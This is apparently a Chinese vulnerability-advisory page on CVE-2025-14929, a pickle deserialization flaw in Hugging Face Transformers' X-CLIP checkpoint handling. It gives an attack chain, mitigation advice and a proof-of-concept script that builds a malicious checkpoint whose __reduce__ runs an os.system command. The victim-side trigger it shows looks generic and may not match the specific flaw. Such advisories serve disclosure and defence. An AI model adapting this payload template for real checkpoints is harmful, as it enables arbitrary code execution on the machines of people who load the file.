IPBUF安全漏洞报告
English
CVE-2025-14929 CVSS 7.8 高危

CVE-2025-14929: Hugging Face Transformers X-CLIP反序列化远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14929
漏洞类型
反序列化远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers (X-CLIP)

相关标签

CVE-2025-14929反序列化漏洞远程代码执行Hugging Face TransformersX-CLIPZDI-CAN-28308机器学习安全模型加载漏洞高危漏洞

漏洞概述

CVE-2025-14929是Hugging Face Transformers库中X-CLIP检查点转换功能存在的一个高危安全漏洞,CVSS评分7.8。该漏洞属于反序列化远程代码执行(RCE)漏洞,攻击者可以通过诱骗目标用户打开恶意构造的检查点文件来执行任意代码。漏洞根源在于X-CLIP的检查点解析模块缺乏对用户输入数据的充分验证,导致不受信任的数据被反序列化。攻击成功后,攻击者能够在当前进程的上下文中执行任意代码,可能导致敏感数据泄露、系统完全沦陷等严重后果。由于该漏洞需要用户交互才能触发(目标用户需访问恶意页面或打开恶意文件),但攻击复杂度较低且无需认证,因此在实际攻击场景中具有较高的可行性。此漏洞由ZDI(Zero Day Initiative)发现并披露,编号为ZDI-CAN-28308。建议受影响的用户尽快升级到修复版本并采取相应的防护措施。

技术细节

该漏洞存在于Hugging Face Transformers库的X-CLIP模型检查点转换功能中。具体来说,问题出在parse_checkpoint方法或相关检查点解析逻辑中。攻击者可以构造一个恶意的检查点文件(通常为.pth、.pt、.bin等格式),该文件包含精心设计的序列化数据。当Hugging Face Transformers库加载并反序列化这个检查点文件时,由于缺少对序列化对象类型的严格验证,反序列化过程会触发恶意代码执行。攻击者利用Python的pickle反序列化机制或类似的序列化库,通过在序列化数据中嵌入__reduce__或__reduce_ex__等魔术方法,可以在对象反序列化时执行任意Python代码。X-CLIP作为多模态视频理解模型,其检查点文件通常体积较大且包含复杂的嵌套数据结构,这为隐藏恶意代码提供了便利。攻击者可以通过钓鱼邮件、恶意网站下载链接或社交工程等方式向目标用户投递恶意检查点文件。一旦用户使用存在漏洞的Transformers版本加载该文件,即可触发RCE。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者识别目标使用的Hugging Face Transformers版本,确认存在X-CLIP检查点反序列化漏洞(CVE-2025-14929)。攻击者准备恶意检查点文件,包含可执行任意代码的序列化payload。
STEP 2
步骤2: 载荷投递
攻击者通过钓鱼邮件、恶意下载链接、虚假开源模型分享网站或社交工程等方式,将恶意检查点文件(.pth/.pt/.bin)投递到目标用户。文件名通常伪装为正常的X-CLIP预训练模型权重。
STEP 3
步骤3: 用户交互触发
目标用户在不知情的情况下使用存在漏洞的Transformers版本加载恶意检查点文件。加载方式可能是调用from_pretrained()、load_checkpoint()或X-CLIP相关的检查点转换函数。
STEP 4
步骤4: 反序列化触发代码执行
当Transformer库解析检查点文件时,pickle反序列化机制会调用恶意payload的__reduce__方法。由于缺乏类型验证,攻击者嵌入的任意系统命令(如反弹shell、文件读取、数据外传等)将被执行。
STEP 5
步骤5: 持久化与横向移动
攻击者成功执行代码后,可进一步部署后门、窃取敏感数据、建立持久化访问权限,并可能横向移动到同一网络环境中的其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14929 PoC - Malicious X-CLIP Checkpoint Generator # This PoC demonstrates creating a malicious checkpoint that triggers RCE upon loading import pickle import os import sys # Malicious payload that executes arbitrary command # This will be called during pickle deserialization via __reduce__ class MaliciousPayload: def __reduce__(self): # Change this to your actual command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_checkpoint(output_path): """ Create a malicious checkpoint file that exploits CVE-2025-14929 The vulnerability is in X-CLIP checkpoint conversion/deserialization """ # Create the malicious payload payload = MaliciousPayload() # Serialize with pickle (vulnerable to arbitrary code execution) malicious_data = pickle.dumps(payload) # Write to file (could be .pt, .pth, .bin, or any checkpoint format) with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious checkpoint created: {output_path}") print(f"[+] When loaded by vulnerable Transformers version, will execute: whoami > /tmp/pwned.txt") # Usage: # python cve_2025_14929_poc.py malicious_checkpoint.pth if __name__ == "__main__": if len(sys.argv) > 1: create_malicious_checkpoint(sys.argv[1]) else: create_malicious_checkpoint("malicious_xclip_checkpoint.pth") # To trigger the vulnerability (victim-side code): # # from transformers import XCLIPModel # model = XCLIPModel.from_pretrained("./malicious_checkpoint.pth") # # This will automatically trigger the malicious __reduce__ method during checkpoint loading

影响范围

Hugging Face Transformers < 修复版本
X-CLIP 模型检查点转换功能所有版本均受影响

防御指南

临时缓解措施
临时缓解措施:在官方补丁发布前,强烈建议用户仅从官方可信渠道(如Hugging Face官方Hub)下载模型文件,并在加载前验证文件的完整性和来源。对于必须处理不可信检查点文件的场景,建议使用沙箱隔离环境(如Docker容器)进行加载操作,并限制相关进程的权限。同时,可以考虑禁用或限制pickle反序列化功能,使用SafeTensors等更安全的替代格式来存储和加载模型权重。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表